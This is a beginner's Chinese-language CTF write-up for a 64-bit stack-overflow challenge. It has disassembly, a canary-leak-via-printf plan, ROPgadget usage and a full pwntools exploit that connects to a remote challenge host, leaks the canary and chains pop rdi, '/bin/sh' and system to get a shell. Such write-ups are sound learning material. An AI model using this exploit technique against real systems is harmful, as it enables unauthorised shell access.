64位的elf文件
canary保护和NX保护
主程序简单的栈溢出:
.text:0000000000400814 push rbp
.text:0000000000400815 mov rbp, rsp
.text:0000000000400818 sub rsp, 250h
.text:000000000040081F mov [rbp+var_244], edi
.text:0000000000400825 mov [rbp+var_250], rsi
.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
.text:0000000000400839 xor eax, eax
.text:000000000040083B mov eax, 0
.text:0000000000400840 call init
.text:0000000000400845 mov edx, 10h ; n
.text:000000000040084A mov esi, offset aWelcome ; "Welcome!\n"
.text:000000000040084F mov edi, 1 ; fd
.text:0000000000400854 call _write
.text:0000000000400859 mov edx, 29h ; n
.text:000000000040085E mov esi, offset aPleaseLeaveYou ; "Please leave your name(Within 36 Length"...
.text:0000000000400863 mov edi, 1 ; fd
.text:0000000000400868 call _write
.text:000000000040086D lea rax, [rbp+buf]
.text:0000000000400874 mov edx, 300h ; nbytes
.text:0000000000400879 mov rsi, rax ; buf
.text:000000000040087C mov edi, 0 ; fd
.text:0000000000400881 call _read ; 这里可以溢出
.text:0000000000400886 lea rax, [rbp+buf]
.text:000000000040088D mov rsi, rax
.text:0000000000400890 mov edi, offset format ; 这里%s看看能不能带出canary
.text:0000000000400895 mov eax, 0
.text:000000000040089A call _printf
.text:000000000040089F mov edx, 2Ch ; n
.text:00000000004008A4 mov esi, offset aPleaseLeaveAMe ; "Please leave a message(Within 0x200 Len"...
.text:00000000004008A9 mov edi, 1 ; fd
.text:00000000004008AE call _write
.text:00000000004008B3 lea rax, [rbp+var_210]
.text:00000000004008BA mov edx, 300h ; nbytes
.text:00000000004008BF mov rsi, rax ; buf
.text:00000000004008C2 mov edi, 0 ; fd
.text:00000000004008C7 call _read
.text:00000000004008CC lea rax, [rbp+var_210]
.text:00000000004008D3 mov rsi, rax
.text:00000000004008D6 mov edi, offset aYourMessageIsS ; "your message is :%s \nBye~"
.text:00000000004008DB mov eax, 0
.text:00000000004008E0 call _printf
.text:00000000004008E5 mov eax, 0
.text:00000000004008EA mov rcx, [rbp+var_8]
.text:00000000004008EE xor rcx, fs:28h
.text:00000000004008F7 jz short locret_4008FE
.text:00000000004008F9 call ___stack_chk_fail
.text:00000000004008FE ; ---------------------------------------------------------------------------
.text:00000000004008FE
.text:00000000004008FE locret_4008FE: ; CODE XREF: main+E3↑j
.text:00000000004008FE leave
.text:00000000004008FF retn
.text:00000000004008FF ; } // starts at 400814
.text:00000000004008FF main endp
第一个输入用来带出canary的值
第二个输入用于构造rop然后getshell
顺带学了一下ROPgadget的简单用法:
ROPgadget --binary [file] --string '/bin/sh'
ROPgadget --binary [file] -- only 'pop|ret'
很好用,有点爽。
基本栈溢出的构造是这样的:
aaaaaaaa = 垃圾数据
canary = canary
原rbp = 垃圾数据
返回地址 = p_pop_rdi 返回到pop rdi; ret;
xxxxxxxx = p_bin_sh pop出这个"/bin/sh"字符串
xxxxxxxx = p_system 返回到这个地址,getshell
丢exp:
from pwn import *
import struct
context.log_level = 'debug'
# sh = process('./pwn4_')
sh = remote('114.67.246.176', 15128)
sh.recv(1024)
sh.send((0x240-0x8)*b'a'+'\n'.encode())
sh.recvline()
x = sh.recvline().strip()
while len(x) < 8:
x = b'\x00'+x
print()
print(b'canary:'+x)
print()
P_poprdiRet = struct.pack('<Q',0x0000000000400963)
P_system = struct.pack('<Q', 0x000000000040080C)
str_shell = b'\x68\x10\x60\x00\x00\x00\x00\x00'
payload = b'b'*(0x210-0x8) + x + b'p'*8 + P_poprdiRet + str_shell + P_system
sh.send(payload)
sh.recv(1024)
sh.interactive()
sh.close()
刚开始玩,写的有点乱,见谅
over.